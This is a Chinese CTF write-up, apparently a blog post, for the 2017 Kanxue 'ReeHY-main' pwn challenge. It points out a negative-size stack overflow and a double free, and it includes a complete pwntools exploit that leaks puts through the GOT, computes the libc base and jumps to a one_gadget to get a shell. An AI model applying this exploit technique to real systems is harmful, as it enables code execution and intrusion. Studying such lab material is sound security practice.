看雪4-ReeHY-main-2017

看雪4-ReeHY-main-2017

题目本身很有意思应该会有很多种解法这里先记录第一种解法,栈的方法

题目链接:https://ctf.pediy.com/game-fight-34.htm

主程序分析

看雪4-ReeHY-main-2017_第1张图片
这里主要实现了几个功能吧,下面一一分析九个功能
看雪4-ReeHY-main-2017_第2张图片

这里首先让我们输入signint然后malloc一个这个大小的堆块,然后input cun让我们输入储存的大小其中不能超过4但是没有对输入进行一个判断,也没有对size的大小正负进行一个判断。所以这里有一个负数溢出的风险。继续分析,可以发现当size<0x70的时候会调用一个read函数,这里利用负数可以输入一个很大的字符串。
看雪4-ReeHY-main-2017_第3张图片
一个普通的堆删除的操作存在double free
看雪4-ReeHY-main-2017_第4张图片
先检查堆是否在使用,如果在不是在使用则会退出
看雪4-ReeHY-main-2017_第5张图片
最坑的函数没有之一,没有show为什么要写show,不过如果是正常的show那么这个题就是普通的unsortbin leak然后double free更改malloc hook了。

思路分析

这里利用思路主要记录的是栈溢出思路,利用负数进行一个大输的输入,这里考验了一个选手对栈分布的把握了。
看雪4-ReeHY-main-2017_第6张图片
这里我们需要对输入进行一个栈的分配,首先我们要绕过memcpy对负数的检查和一些copy这里利用栈分布吧他们改写成0就不会造成什么危害了。

‘a’ * 128+p64(0)+p32(0)+p32(0)+‘a’ * 8

这样就可以成功的绕过了。接下来就是简单的pop啥的操作了

exp

from pwn import*

p = process('./4-ReeHY-main')
a = ELF('./4-ReeHY-main')
e = a.libc
context.log_level = 'debug'

def create(size,index,string):
    p.recvuntil('$ ')
    p.sendline('peanuts')
    p.recvuntil('$')
    p.sendline('1')
    p.recvuntil('Input size\n')
    p.sendline(str(size))
    p.recvuntil('Input cun\n')
    p.sendline(str(index))
    p.recvuntil('Input content\n')
    p.sendline(str(string))
def delte(index):
    p.recvuntil('Chose one to dele\n')
    p.sendline(str(index))
def edit(index,string):
    p.recvuntil('Chose one to edit\n')
    p.sendline(str(index))
    p.recvuntil('Input the content\n')
    p.sendline(str(string))
raw_input()
pop_rdi = 0x0400da3 
pop_rsi_r15 = 0x400da1
put_got = 0x602020
put_plt = 0x4006D0
create(-1,1,'a'*128+p64(0)+p32(0)+p32(0)+'a'*8+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(0x0400C8C))

puts_addr = u64(p.recvuntil('\n')[:6].ljust(8,'\x00'))
print hex(puts_addr)
libc_addr = puts_addr - e.symbols['puts']
print hex(libc_addr)
create(-1,1,'a'*128+p64(0)+p32(0)+p32(0)+'a'*8+p64(0x45216+libc_addr))

p.interactive()

未完待续。。。一题多解方法多2019.1.26


你可能感兴趣的:(pwn)